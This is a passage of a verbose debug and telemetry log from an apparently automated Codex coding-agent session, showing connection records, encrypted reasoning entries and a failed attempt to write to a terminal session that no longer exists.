docs/case-studies/issue-5/source-inventory.md\\ndocs/case-studies/issue-5/openmetadata-analysis.md\\n233 docs/case-studies/issue-5/openmetadata-analysis.md\\ndocs/case-studies/issue-5/README.md\\n122 docs/case-studies/issue-5/README.md\\ndocs/case-studies/issue-5/requirements-and-solutions.md\\n256 docs/case-studies/issue-5/requirements-and-solutions.md\\ndocs/case-studies/issue-5/raw-data/issue-5.json\\n17 docs/case-studies/issue-5/raw-data/issue-5.json\\ndocs/case-studies/issue-5/raw-data/research-observations.json\\n35 docs/case-studies/issue-5/raw-data/research-observations.json\\n\",\"exit_code\":127,\"status\":\"failed\"}}\n[2026-07-12T04:07:11.092Z] [INFO] \n[2026-07-12T04:07:11.167Z] [INFO] 2026-07-12T04:07:11.166639Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:07:11.167Z] [INFO] \n[2026-07-12T04:07:11.196Z] [INFO] 2026-07-12T04:07:11.195867Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:07:11.196Z] [INFO] \n[2026-07-12T04:07:11.260Z] [INFO] 2026-07-12T04:07:11.259327Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:07:11.260Z] [INFO] \n[2026-07-12T04:07:11.277Z] [INFO] 2026-07-12T04:07:11.273460Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:07:11.277Z] [INFO] \n[2026-07-12T04:07:11.380Z] [INFO] 2026-07-12T04:07:11.377469Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:07:11.380Z] [INFO] 2026-07-12T04:07:11.377598Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:07:11 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"2162f40c-861a-4421-97c2-4887330e4cdc\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=92fUfzRv4g%2Biun8NyycxD61RYdYukIvwbO5RT2ewd8pmWNs38b%2F4QRqfBR3y5NQuEfWnx4PPkCPp5FvbrjsROe0vISlQGBeN2eFBTuPcbt2ICDL9vjshlYiH3QsI\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2df7a8f4d22b-FRA\"} version=HTTP/1.1\n[2026-07-12T04:07:11.380Z] [INFO] \n[2026-07-12T04:07:11.949Z] [INFO] 2026-07-12T04:07:11.931890Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312efe9c08191874fd4b8f5067e80\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxLvyCqJi2xKrqJne16LGt3N-PjZD9hEZFWd-ESwWbEusx5rLZO8lZTqh3JkS3opjUK0YuTj9pvhBvqfVqgYOi4qQ5aUJe7YHpLKFd2bnYsH-hC4klP76rpr-nRKpKkNv5ZjmJVJzM7RFmG1MDzITgMtT9OajZUqNjv5UMKk3-kwCTdoMQ4yIv7pyBk1nya7VeiHKB90zZibR3fSr1QNGGI1sQeqBvLufPhNC4JZMCP_OTUAadhew47KVyliLRHHKUxDx5L85ZObT41lgd5XcS4P0YaOF0YWtmRKJ82hvS1-TTYfavQqVF8fpnmoM7Jjz336gf_Jd9jgKDoYKK3hqmwObdLPWoOq2Yiv9lCACVmpbbAnQJEsxqUNcvsufHBrJWoLKd8i6TQKPwewDLGkfx33APfOC8cJyS13HF0IYNFbwlr-VGhJG-5IxEZKgxdnOxEdSveHm0v6JNtX3Akfs3WhewG4FZTMNsHR-Wz7iN4ytE8ywtuZLKwEVERZ6vPkOtwS3CeNpSeBExZzDHnPe6IEmlYzV5rrsfyCa85yc4oncHwFyw6v97WgOl4Td-xww17bNNknIQWnhnb9QJkYT43hInYhYXcep96HtLn-GWs7azsHQzPWgqEHCz79xLHhx0zpfp9EJcrX-4-pTH34Sc_rFB9ElRcQUBbUmK8mEg3xCJNL-fC2WVpV1wRTCFIxFYBKidJTHLRKoN_ddX_5-vo63FHH1U71SzRxC9Cf1JOKOdsKlciL8fkdTGIko6lBJFUqvq6WkE7iH-0JnyYPaIJD4wf2ZCzvh9OfZIMM8ZrVPIYFpTdJah_CnEvkrrxZbjemfE22QIEYOsDVPPQ9W0k4Yz4X5M8I9XSy8-fQos7Q9uNfz7CyA251mxu94T8RnTGn-geYGySGABCzNWjK5hJ5QQ==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:11.949Z] [INFO] \n[2026-07-12T04:07:12.747Z] [INFO] 2026-07-12T04:07:12.724500Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312efe9c08191874fd4b8f5067e80\"), summary: [SummaryText { text: \"**Planning stdin writing for session**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxLwlOINqGW2BrhYhXvHC6Ymx2OOW_SW4W772qH_yCiaXD5EGLW9sKh5IaTmRDucSLVMT3_0QAsQUa9wGU8n0zX5QN-rxOvGrlx_QosyLsu27unUfWtGgSRym_zcRprKC0unEqkniI9WjG4Qp96UbqGjE0DLbjWJegkH1Vo84VDaFLWSRlibU2BcosJW1FrE8heIhG_sG8ByDrYK0CfkMCh31wxCSHt8OqzYzzijIg4ByYAzwBNFfeuUCHIk_PnmrXDYM5c8o9NnssTJvnvUGAINv5OVi0g7eu_kECTjqvc3SC1mC_oaS1pAXnDCKhmenW_MJgMxvLeSa8Ws3LAJ2Bc6SwBpaZh5wLdQ4TL50Rtj4ZLEoIHx6_JMo9uxkNvkMpVyE_cODdEjOUMlSoaLghtDKa7Z4iFYyXhOIuhnZZNV6104aR2Y_n6rN8PjT97wOvRLYkw5L4EHxnJ7bIDF571xpzqabzyOdnLyQU3WZTqPmnfcUqX9unJ2gKixRVSjdwd2VfcykROc4C955eFJ0l3SypBVK8UzAaYePhYa_-Vj7loDvLQNbVqyN9iD0RxGZFLYVojMB9KE-fe_Xn20_1GOxBNcHCARp_LQrr7cFjU_MgLUUQKRDGEfJiv37YupTFoaJlNjx8hATyCPHGDW8GjzzVkuTSjpHdjKi1Pi2JeJdhqK5PJAVQ0eS55MG6h5Lu2ssORPwht5gt7nUv3ST1rGg8gm4Eeu9LcbTicvZL52-lvzY5BlLp7vY70hkyD75DwDI18J2zm_OzQCDmGCPk2xeoUiKUJfgDmKQgFypDrjW_fGXKEubRknMUnJNm4X9mHwXri1agEo13uP-O1fp-woEb33PjPNQF1cqiILlpi9qeTde76KlI_fos0ipc7jYJSHrG0yduLmZFe_O8H1zIXutCZXO_5BS5qcMVqSUvWYGjHgj0iUTABjm-a0HZZ0Ot5tet4thUdbgNTTHoaEmhBT616UItqnQaXIryAqoEtvhvI=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:12.747Z] [INFO] \n[2026-07-12T04:07:12.749Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_34\",\"type\":\"reasoning\",\"text\":\"**Planning stdin writing for session**\"}}\n[2026-07-12T04:07:12.749Z] [INFO] \n[2026-07-12T04:07:12.765Z] [INFO] 2026-07-12T04:07:12.764323Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5312f092bc8191adf50cfe3ca7734f\"), status: Some(\"in_progress\"), call_id: \"call_9D2bkEKBqtOaruu8Vvq3aBY9\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:12.765Z] [INFO] \n[2026-07-12T04:07:13.054Z] [INFO] 2026-07-12T04:07:13.049200Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToTimer\"\n[2026-07-12T04:07:13.054Z] [INFO] 2026-07-12T04:07:13.049327Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:07:13.054Z] [INFO] 2026-07-12T04:07:13.050402Z DEBUG opentelemetry_sdk:  name=\"PeriodicReaderMetricsCollected\" count=8 time_taken_in_millis=1\n[2026-07-12T04:07:13.054Z] [INFO] 2026-07-12T04:07:13.052143Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportStarted\"\n[2026-07-12T04:07:13.054Z] [INFO] 2026-07-12T04:07:13.052206Z DEBUG opentelemetry-http:  name=\"ReqwestBlockingClient.Send\"\n[2026-07-12T04:07:13.054Z] [INFO] 2026-07-12T04:07:13.052605Z DEBUG hyper_util::client::legacy::pool: reuse idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:07:13.054Z] [INFO] \n[2026-07-12T04:07:13.117Z] [INFO] 2026-07-12T04:07:13.112410Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:07:13.117Z] [INFO] \n[2026-07-12T04:07:13.132Z] [INFO] 2026-07-12T04:07:13.116990Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportSucceeded\"\n[2026-07-12T04:07:13.132Z] [INFO] 2026-07-12T04:07:13.117069Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:07:13.132Z] [INFO] 2026-07-12T04:07:13.117095Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=59932\n[2026-07-12T04:07:13.132Z] [INFO] \n[2026-07-12T04:07:13.184Z] [INFO] 2026-07-12T04:07:13.176572Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.write_stdin({session_id:26498,chars:\"\",yield_time_ms:1000,max_output_tokens:5000}); text(JSON.stringify(r));\n[2026-07-12T04:07:13.184Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:07:13.184Z] [INFO] \n[2026-07-12T04:07:13.196Z] [INFO] 2026-07-12T04:07:13.196307Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5312ef2254819196777339e48eb3aa\"\n[2026-07-12T04:07:13.196Z] [INFO] 2026-07-12T04:07:13.196369Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=61227 output_token_count=64 cached_token_count=60160 reasoning_token_count=16 tool_token_count=61291 ttft_ms=859 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:13.196Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:13.196Z] [INFO] 2026-07-12T04:07:13.196402Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=61227 output_token_count=64 cached_token_count=60160 reasoning_token_count=16 tool_token_count=61291 ttft_ms=859 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:13.196Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:13.196Z] [INFO] \n[2026-07-12T04:07:13.273Z] [INFO] 2026-07-12T04:07:13.271628Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-4476d4aa-8abd-497d-9445-86fda410fadd arguments={\"session_id\":26498,\"chars\":\"\",\"yield_time_ms\":1000,\"max_output_tokens\":5000} duration_ms=0 success=false output=write_stdin failed: Unknown process id 26498 mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:13.271Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:13.273Z] [INFO] 2026-07-12T04:07:13.271684Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-4476d4aa-8abd-497d-9445-86fda410fadd duration_ms=0 success=false arguments_length=77 output_length=44 output_line_count=1 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:13.271Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:13.273Z] [INFO] \n[2026-07-12T04:07:13.281Z] [INFO] 2026-07-12T04:07:13.273897Z ERROR codex_core::tools::router: error=write_stdin failed: Unknown process id 26498\n[2026-07-12T04:07:13.281Z] [INFO] \n[2026-07-12T04:07:13.286Z] [INFO] 2026-07-12T04:07:13.279769Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_9D2bkEKBqtOaruu8Vvq3aBY9 arguments=const r=await tools.write_stdin({session_id:26498,chars:\"\",yield_time_ms:1000,max_output_tokens:5000}); text(JSON.stringify(r));\n[2026-07-12T04:07:13.286Z] [INFO]  duration_ms=90 success=false output=Script failed\n[2026-07-12T04:07:13.286Z] [INFO] Wall time 0.1 seconds\n[2026-07-12T04:07:13.286Z] [INFO] Output:\n[2026-07-12T04:07:13.286Z] [INFO] \n[2026-07-12T04:07:13.286Z] [INFO] Script error:\n[2026-07-12T04:07:13.286Z] [INFO] write_stdin failed: Unknown process id 26498 mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:13.279Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:13.286Z] [INFO] 2026-07-12T04:07:13.279830Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_9D2bkEKBqtOaruu8Vvq3aBY9 duration_ms=90 success=false arguments_length=129 output_length=103 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:13.279Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:13.286Z] [INFO] 2026-07-12T04:07:13.279923Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_9D2bkEKBqtOaruu8Vvq3aBY9 tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=91 total_duration_ms=91\n[2026-07-12T04:07:13.286Z] [INFO] \n[2026-07-12T04:07:13.328Z] [INFO] 2026-07-12T04:07:13.328178Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:07:13.328Z] [INFO] \n[2026-07-12T04:07:13.342Z] [INFO] 2026-07-12T04:07:13.341742Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:13.341Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:13.342Z] [INFO] 2026-07-12T04:07:13.341815Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:13.341Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:13.342Z] [INFO] 2026-07-12T04:07:13.341831Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:07:13.342Z] [INFO] \n[2026-07-12T04:07:15.149Z] [INFO] 2026-07-12T04:07:15.146117Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312f31c0c8191b81f07f6aaf0e8c3\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxLzUbpCm2nOtdEeqs3u4VbgZUfnQ5zVfPZXTvyjItuzLD5ZFT0q01ADcCVCYswAcJKJsv-fgbKzvPBIMXASdRofHEGJ_BiZSprxTw9bXxTmlw7XtlEktFlO7uiMA2d6izGxohBFOudvCerUFZMDkPl5-8CrDzVjbKpjQOtzB9JOodADJVXo7iB5yD3YeuC0Ng36ux9HREdjDScF-N-SJknZPCESDsrGLU1JuWAaLjkCrU2naZdNJqhFBcfJ1Bui_qvA7xacYi1ANXV-bruP2k6ffPtcQnDVM0epDXLNGaxpx4aSQup2yBoS_YEbIiHeni__e_ywzrcB3rJ0myG0-zhJOeSoHf1FIJP0jw7yxh6lEYYV-aJhGR37E13jqz-kiFUqhRRebAl6Q2f56RA7sMPl4xVQm_WFFl54OzNm1VdODH50h3uGAgZLzWUExa9yJcieNLfQqZo6i18_Jvq1upJHZV0PHPgw5HuT3GqUbcaF5F50VQ9AYMPKkzOsIGxLsjbuIjZ9RWUs8vt74i8__la8o3zclGj1L-0mYX5H_xqUseInvfdAELhUHp_D6qQLafvN9_o1k1XLHF5o-sB-cA30Ro_i0YOu3oX6XiGxbjxzw6KaVzPQv0f0b2BqUaizICAb3w-lbl94seFxsr7hjpU40Ut3Yl1mbWzd67sGmZxdwZK5xIcOzkOULHBVmNTAOk5h-1Ob0-nhV2CZuZ0Od3vRM6D7pM3PSwZDSnugLS73ab2AGGJUQkzV7R31NyfPUPOhIiES8PWcGj8murQLCqED6-9MOEvy2yeaXQXH_esZGq8V4YCWQ_EXLe7Pxu52fbLUUDW3vWEVaX_UgvtFIvxOYUeTpMASluz0dTesczYmWf8Pt221dOknCkV0052t971Tgwq8vZBPgfRmmH7oL-0RGw==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:15.149Z] [INFO] \n[2026-07-12T04:07:17.201Z] [INFO] 2026-07-12T04:07:17.198383Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312f31c0c8191b81f07f6aaf0e8c3\"), summary: [SummaryText { text: \"**Inspecting logs and link references**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxL1O3iaQPDS8-hehtcLdtv3AKm3nZ1hvthCXAA1N8CXqI5tV98cHmNA0DoV4R-z3vwfbUPIOlYoMVkmaDDJ0S6aEwpq5KUheDQ_zOoOSuclKo_zHFY0QzOZAf-xd2z98NsQALxd-Ykawox0FL16Ee5VWmoTmWQbrHf8xx7_MaPykLtvP3-28S7cPjmgdFkGMGT9WR_HB_FcTh4b7apeNirpV8D5zRo4spN9aS29qV23G_6haQ_UsIE9-0Pgjjf8ojr_PfsOl2_Vq_JnpwbDhjdKbR7iZrT5st0vYmJ13iINJw69Vu-AEtRx5z92B9y5mqTf1s0g-HpqJe6f2vCl9-9XaLn4_3uSC2tMzHocGwBypgoiNb8LC2loiV2LNkH43jc9gXazIszEiBJfJM96xZQhHpo7a_HrE51yL-y_CynQC8zwk66HDa4vIRZvuzQltK6PRFEtYYUQbqLapEMedxAP3Pf0Ho_AQNntBbYwtIdFGB9RG9wXHI-XpLp8uA88wcerzDXc4Vdct9n0bhJzRUF7v6YUAMFUws5FCS1XUixbrvc4s6eNqz2IysNm2MCOulxa5T_Uhe5z90xOuuSpe6ZTQ56czB6ANn78s7zdqgXEglpv558vVI1JwlLOT_x0m7zuiAmy-SYwzknmwou1AKK41zZ0a5CrVTFEeS3y7jl5BerhG3tkrh4qOzAofK0I7zy-oL9cJLUYgyRCDlbOtGf3AGJhs1iwHNqbx2BYPjYwirTeevmXabOWXZhtV10k9NssEem9tcY28MVADjn32xXE1ytqLfNyRqFm1Pz2un3TUAHNIvdNni8zH120Ycn9l3mVwjmfbc70BbjaSNNquj29gDPTp-9SSvtUpTd_anhJR_XkJCcWXaSlR2zJaZkl2Y8JuAt3l1p6aKvgFA1iIvO2-UvyLdVys6fudi1f-IWbn8hvNa2A4xjK1AK_TCEZZxLCS3rhk6T1jgAyb_khRBP6YCoOXY8dHlaP0MyCdJuf5rG5P6WRwxhEtZ56NtCGt744Au-vdhugxGpY9XSyOayhqv7n85HcS9tzb3u48Mih7Bmf3TbLE0PpRvvpRh6rUcQHRi4I9ktwvhcMQl_1snslF404FBPm_twe0jpAg35RDwv4C81cAaI7l2GHt43i7U0Mywv_6D86ZE2c6ON2mYFEtFKp7cUZ9mP3OrfY25-nU2HLnQ68RowXLWHvDUPz0nY5Q5esh7FXrMvKG2cJPdy1ci030YM8KKSSx6bAj0L3wXghxD-7IvgtQEZOa3NXfbep1H5U2oJfxTGzMYBrTodawyKwN5irlIuHnaCfHrmvR9dF8mAdLRZJn_5ZRJx0d-538Sk225o9WNFW19wMXf